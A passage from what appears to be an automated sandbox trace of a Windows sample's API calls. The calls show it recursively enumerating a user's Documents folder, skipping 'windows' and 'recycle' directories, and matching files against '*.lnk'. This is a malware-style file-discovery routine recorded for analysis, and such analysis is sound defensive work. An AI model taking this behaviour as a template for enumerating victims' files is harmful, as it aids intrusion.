uBytes=0x126) returned 0x6fe220 [0271.289] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.289] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.289] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.289] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.289] LocalFree (hMem=0x6b9738) returned 0x0 [0271.289] PathMatchSpecW (pszFile="W-TssfUcS", pszSpec="*windows*") returned 0 [0271.289] LocalFree (hMem=0x6fe220) returned 0x0 [0271.289] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.289] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.289] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.289] lstrlenW (lpString="*recycle*") returned 9 [0271.289] lstrlenW (lpString="*recycle*") returned 9 [0271.290] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.290] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.290] LocalFree (hMem=0x6fb588) returned 0x0 [0271.290] PathMatchSpecW (pszFile="W-TssfUcS", pszSpec="*recycle*") returned 0 [0271.290] LocalFree (hMem=0x6fe220) returned 0x0 [0271.290] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f5310 [0271.290] StrCpyW (in: psz1=0x6f5310, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.290] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned 49 [0271.290] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\x-c0gvyflm\\w-tssfucs\\*"), lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a2f95f0, ftCreationTime.dwHighDateTime=0x1d8a0eb, ftLastAccessTime.dwLowDateTime=0x986be970, ftLastAccessTime.dwHighDateTime=0x1d8a35b, ftLastWriteTime.dwLowDateTime=0x986be970, ftLastWriteTime.dwHighDateTime=0x1d8a35b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f274, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0271.293] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a2f95f0, ftCreationTime.dwHighDateTime=0x1d8a0eb, ftLastAccessTime.dwLowDateTime=0x986be970, ftLastAccessTime.dwHighDateTime=0x1d8a35b, ftLastWriteTime.dwLowDateTime=0x986be970, ftLastWriteTime.dwHighDateTime=0x1d8a35b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.293] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de8c4d0, ftCreationTime.dwHighDateTime=0x1d89821, ftLastAccessTime.dwLowDateTime=0x22050dc0, ftLastAccessTime.dwHighDateTime=0x1d8a374, ftLastWriteTime.dwLowDateTime=0x22050dc0, ftLastWriteTime.dwHighDateTime=0x1d8a374, nFileSizeHigh=0x0, nFileSizeLow=0x128f9, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="d9wjO1KR.odt", cAlternateFileName="")) returned 1 [0271.293] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fac50 [0271.293] StrCpyW (in: psz1=0x6fac50, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.293] lstrlenW (lpString="\\") returned 1 [0271.294] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned 49 [0271.294] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.294] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.294] lstrlenW (lpString="*.lnk") returned 5 [0271.294] lstrlenW (lpString="*.lnk") returned 5 [0271.294] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.294] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.294] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.294] PathMatchSpecW (pszFile="d9wjO1KR.odt", pszSpec="*.lnk") returned 0 [0271.295] LocalFree (hMem=0x6fe220) returned 0x0 [0271.295] LocalFree (hMem=0x6fac50) returned 0x0 [0271.295] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b7b0e50, ftCreationTime.dwHighDateTime=0x1d8a039, ftLastAccessTime.dwLowDateTime=0xbe4be00, ftLastAccessTime.dwHighDateTime=0x1d8a324, ftLastWriteTime.dwLowDateTime=0xbe4be00, ftLastWriteTime.dwHighDateTime=0x1d8a324, nFileSizeHigh=0x0, nFileSizeLow=0xd74b, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="EGPNn WJgNk.csv", cAlternateFileName="EGPNNW~1.CSV")) returned 1 [0271.295] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fac50 [0271.295] StrCpyW (in: psz1=0x6fac50, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.295] lstrlenW (lpString="\\") returned 1 [0271.295] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned 49 [0271.295] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.296] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.296] lstrlenW (lpString="*.lnk") returned 5 [0271.296] lstrlenW (lpString="*.lnk") returned 5 [0271.296] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.296] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.296] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.296] PathMatchSpecW (pszFile="EGPNn WJgNk.csv", pszSpec="*.lnk") returned 0 [0271.297] LocalFree (hMem=0x6fe220) returned 0x0 [0271.297] LocalFree (hMem=0x6fac50) returned 0x0 [0271.297] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa4950, ftCreationTime.dwHighDateTime=0x1d8a199, ftLastAccessTime.dwLowDateTime=0xfa9b78a0, ftLastAccessTime.dwHighDateTime=0x1d8a19d, ftLastWriteTime.dwLowDateTime=0xfa9b78a0, ftLastWriteTime.dwHighDateTime=0x1d8a19d, nFileSizeHigh=0x0, nFileSizeLow=0xa9d7, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="hI37-zj.rtf", cAlternateFileName="")) returned 1 [0271.297] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fac50 [0271.297] StrCpyW (in: psz1=0x6fac50, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.297] lstrlenW (lpString="\\") returned 1 [0271.297] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned 49 [0271.297] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.297] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.297] lstrlenW (lpString="*.lnk") returned 5 [0271.297] lstrlenW (lpString="*.lnk") returned 5 [0271.297] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.297] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.298] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.298] PathMatchSpecW (pszFile="hI37-zj.rtf", pszSpec="*.lnk") returned 0 [0271.298] LocalFree (hMem=0x6fe220) returned 0x0 [0271.299] LocalFree (hMem=0x6fac50) returned 0x0 [0271.299] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3f1860, ftCreationTime.dwHighDateTime=0x1d8a5f6, ftLastAccessTime.dwLowDateTime=0x5213ed60, ftLastAccessTime.dwHighDateTime=0x1d8a603, ftLastWriteTime.dwLowDateTime=0x5213ed60, ftLastWriteTime.dwHighDateTime=0x1d8a603, nFileSizeHigh=0x0, nFileSizeLow=0x17886, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="tPU8H9juxC.odt", cAlternateFileName="TPU8H9~1.ODT")) returned 1 [0271.299] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fac50 [0271.300] StrCpyW (in: psz1=0x6fac50, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS" [0271.300] lstrlenW (lpString="\\") returned 1 [0271.300] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM\\W-TssfUcS") returned 49 [0271.300] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0x6fe220 [0271.300] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.300] lstrlenW (lpString="*.lnk") returned 5 [0271.300] lstrlenW (lpString="*.lnk") returned 5 [0271.300] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.300] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.300] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.300] PathMatchSpecW (pszFile="tPU8H9juxC.odt", pszSpec="*.lnk") returned 0 [0271.300] LocalFree (hMem=0x6fe220) returned 0x0 [0271.301] LocalFree (hMem=0x6fac50) returned 0x0 [0271.301] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3f1860, ftCreationTime.dwHighDateTime=0x1d8a5f6, ftLastAccessTime.dwLowDateTime=0x5213ed60, ftLastAccessTime.dwHighDateTime=0x1d8a603, ftLastWriteTime.dwLowDateTime=0x5213ed60, ftLastWriteTime.dwHighDateTime=0x1d8a603, nFileSizeHigh=0x0, nFileSizeLow=0x17886, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="tPU8H9juxC.odt", cAlternateFileName="TPU8H9~1.ODT")) returned 0 [0271.301] LocalFree (hMem=0x6f5310) returned 0x0 [0271.301] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0271.302] LocalFree (hMem=0x6fa838) returned 0x0 [0271.302] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32d3f210, ftCreationTime.dwHighDateTime=0x1d8980c, ftLastAccessTime.dwLowDateTime=0xeb31dce0, ftLastAccessTime.dwHighDateTime=0x1d8a442, ftLastWriteTime.dwLowDateTime=0xeb31dce0, ftLastWriteTime.dwHighDateTime=0x1d8a442, nFileSizeHigh=0x0, nFileSizeLow=0x128a1, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="XZM_gzj2f4.ots", cAlternateFileName="XZM_GZ~1.OTS")) returned 1 [0271.302] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.302] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM" [0271.302] lstrlenW (lpString="\\") returned 1 [0271.302] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\x-C0GVyflM") returned 39 [0271.302] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6fe220 [0271.302] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.303] lstrlenW (lpString="*.lnk") returned 5 [0271.303] lstrlenW (lpString="*.lnk") returned 5 [0271.303] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.303] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.303] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.303] PathMatchSpecW (pszFile="XZM_gzj2f4.ots", pszSpec="*.lnk") returned 0 [0271.303] LocalFree (hMem=0x6fe220) returned 0x0 [0271.304] LocalFree (hMem=0x6fa838) returned 0x0 [0271.304] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32d3f210, ftCreationTime.dwHighDateTime=0x1d8980c, ftLastAccessTime.dwLowDateTime=0xeb31dce0, ftLastAccessTime.dwHighDateTime=0x1d8a442, ftLastWriteTime.dwLowDateTime=0xeb31dce0, ftLastWriteTime.dwHighDateTime=0x1d8a442, nFileSizeHigh=0x0, nFileSizeLow=0x128a1, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="XZM_gzj2f4.ots", cAlternateFileName="XZM_GZ~1.OTS")) returned 0 [0271.304] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.304] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.304] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.304] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73bb88a0, ftCreationTime.dwHighDateTime=0x1d8a1cc, ftLastAccessTime.dwLowDateTime=0x5e602a60, ftLastAccessTime.dwHighDateTime=0x1d8a6bd, ftLastWriteTime.dwLowDateTime=0x5e602a60, ftLastWriteTime.dwHighDateTime=0x1d8a6bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="Xm1mP", cAlternateFileName="")) returned 1 [0271.304] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.304] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="Xm1mP" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" [0271.305] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.305] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.305] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.305] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.305] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.305] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.305] LocalFree (hMem=0x6b9738) returned 0x0 [0271.305] PathMatchSpecW (pszFile="Xm1mP", pszSpec="*windows*") returned 0 [0271.305] LocalFree (hMem=0x6fe220) returned 0x0 [0271.305] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.305] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.305] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.305] lstrlenW (lpString="*recycle*") returned 9 [0271.305] lstrlenW (lpString="*recycle*") returned 9 [0271.305] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.305] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.306] LocalFree (hMem=0x6fb588) returned 0x0 [0271.306] PathMatchSpecW (pszFile="Xm1mP", pszSpec="*recycle*") returned 0 [0271.306] LocalFree (hMem=0x6fe220) returned 0x0 [0271.306] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.306] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" [0271.306] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned 34 [0271.306] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\xm1mp\\*"), lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73bb88a0, ftCreationTime.dwHighDateTime=0x1d8a1cc, ftLastAccessTime.dwLowDateTime=0x5e602a60, ftLastAccessTime.dwHighDateTime=0x1d8a6bd, ftLastWriteTime.dwLowDateTime=0x5e602a60, ftLastWriteTime.dwHighDateTime=0x1d8a6bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0271.307] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73bb88a0, ftCreationTime.dwHighDateTime=0x1d8a1cc, ftLastAccessTime.dwLowDateTime=0x5e602a60, ftLastAccessTime.dwHighDateTime=0x1d8a6bd, ftLastWriteTime.dwLowDateTime=0x5e602a60, ftLastWriteTime.dwHighDateTime=0x1d8a6bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.307] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd1474f0, ftCreationTime.dwHighDateTime=0x1d89b68, ftLastAccessTime.dwLowDateTime=0x9bdd2440, ftLastAccessTime.dwHighDateTime=0x1d8a20f, ftLastWriteTime.dwLowDateTime=0x9bdd2440, ftLastWriteTime.dwHighDateTime=0x1d8a20f, nFileSizeHigh=0x0, nFileSizeLow=0x2daa, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="e8eZ_VTdda8Q_4.docx", cAlternateFileName="E8EZ_V~1.DOC")) returned 1 [0271.307] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.307] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" [0271.307] lstrlenW (lpString="\\") returned 1 [0271.307] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned 34 [0271.307] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6fe220 [0271.307] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.307] lstrlenW (lpString="*.lnk") returned 5 [0271.307] lstrlenW (lpString="*.lnk") returned 5 [0271.307] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.307] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.308] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.308] PathMatchSpecW (pszFile="e8eZ_VTdda8Q_4.docx", pszSpec="*.lnk") returned 0 [0271.308] LocalFree (hMem=0x6fe220) returned 0x0 [0271.308] LocalFree (hMem=0x6fa838) returned 0x0 [0271.308] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19cbcd0, ftCreationTime.dwHighDateTime=0x1d89ac5, ftLastAccessTime.dwLowDateTime=0xf7a24480, ftLastAccessTime.dwHighDateTime=0x1d8a73d, ftLastWriteTime.dwLowDateTime=0xf7a24480, ftLastWriteTime.dwHighDateTime=0x1d8a73d, nFileSizeHigh=0x0, nFileSizeLow=0x70e3, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="KWmKOrX1tizIoLUgbZE.csv", cAlternateFileName="KWMKOR~1.CSV")) returned 1 [0271.308] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fa838 [0271.308] StrCpyW (in: psz1=0x6fa838, psz2="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP" [0271.308] lstrlenW (lpString="\\") returned 1 [0271.309] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\Xm1mP") returned 34 [0271.309] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6fe220 [0271.309] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.309] lstrlenW (lpString="*.lnk") returned 5 [0271.309] lstrlenW (lpString="*.lnk") returned 5 [0271.309] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.309] StrCpyW (in: psz1=0x6fe220, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.309] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.309] PathMatchSpecW (pszFile="KWmKOrX1tizIoLUgbZE.csv", pszSpec="*.lnk") returned 0 [0271.309] LocalFree (hMem=0x6fe220) returned 0x0 [0271.310] LocalFree (hMem=0x6fa838) returned 0x0 [0271.310] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19cbcd0, ftCreationTime.dwHighDateTime=0x1d89ac5, ftLastAccessTime.dwLowDateTime=0xf7a24480, ftLastAccessTime.dwHighDateTime=0x1d8a73d, ftLastWriteTime.dwLowDateTime=0xf7a24480, ftLastWriteTime.dwHighDateTime=0x1d8a73d, nFileSizeHigh=0x0, nFileSizeLow=0x70e3, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="KWmKOrX1tizIoLUgbZE.csv", cAlternateFileName="KWMKOR~1.CSV")) returned 0 [0271.310] LocalFree (hMem=0x6f50e8) returned 0x0 [0271.310] FindClose (in: hFindFile=0x6ca4c0 | out: hFindFile=0x6ca4c0) returned 1 [0271.311] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.311] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd707d140, ftCreationTime.dwHighDateTime=0x1d825e2, ftLastAccessTime.dwLowDateTime=0x77324010, ftLastAccessTime.dwHighDateTime=0x1d88605, ftLastWriteTime.dwLowDateTime=0x77324010, ftLastWriteTime.dwHighDateTime=0x1d88605, nFileSizeHigh=0x0, nFileSizeLow=0xc167, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="x_Vq.xlsx", cAlternateFileName="X_VQ~1.XLS")) returned 1 [0271.311] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.311] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.311] lstrlenW (lpString="x_Vq.xlsx") returned 9 [0271.311] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.311] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x6fe220 [0271.311] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.311] lstrlenW (lpString="*.lnk") returned 5 [0271.311] lstrlenW (lpString="*.lnk") returned 5 [0271.311] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.311] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.311] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.312] PathMatchSpecW (pszFile="x_Vq.xlsx", pszSpec="*.lnk") returned 0 [0271.312] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.312] LocalFree (hMem=0x6fe220) returned 0x0 [0271.312] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb51e00, ftCreationTime.dwHighDateTime=0x1d829e2, ftLastAccessTime.dwLowDateTime=0xbd652d60, ftLastAccessTime.dwHighDateTime=0x1d8321b, ftLastWriteTime.dwLowDateTime=0xbd652d60, ftLastWriteTime.dwHighDateTime=0x1d8321b, nFileSizeHigh=0x0, nFileSizeLow=0x5ef6, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="Y1Mm3m3Rn4-.pptx", cAlternateFileName="Y1MM3M~1.PPT")) returned 1 [0271.312] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.312] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.312] lstrlenW (lpString="Y1Mm3m3Rn4-.pptx") returned 16 [0271.312] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.312] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6fe220 [0271.312] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.312] lstrlenW (lpString="*.lnk") returned 5 [0271.313] lstrlenW (lpString="*.lnk") returned 5 [0271.313] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.313] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.313] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.313] PathMatchSpecW (pszFile="Y1Mm3m3Rn4-.pptx", pszSpec="*.lnk") returned 0 [0271.313] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.314] LocalFree (hMem=0x6fe220) returned 0x0 [0271.314] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70dd4480, ftCreationTime.dwHighDateTime=0x1d897df, ftLastAccessTime.dwLowDateTime=0x541eebd0, ftLastAccessTime.dwHighDateTime=0x1d8a493, ftLastWriteTime.dwLowDateTime=0x541eebd0, ftLastWriteTime.dwHighDateTime=0x1d8a493, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6ca228, cFileName="Y8KInwBgqWSxIPZ", cAlternateFileName="Y8KINW~1")) returned 1 [0271.314] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.314] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="Y8KInwBgqWSxIPZ" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ") returned="C:\\Users\\kEecfMwgj\\Documents\\Y8KInwBgqWSxIPZ" [0271.314] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.314] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.314] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.314] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.314] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.314] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.314] LocalFree (hMem=0x6b9738) returned 0x0 [0271.314] 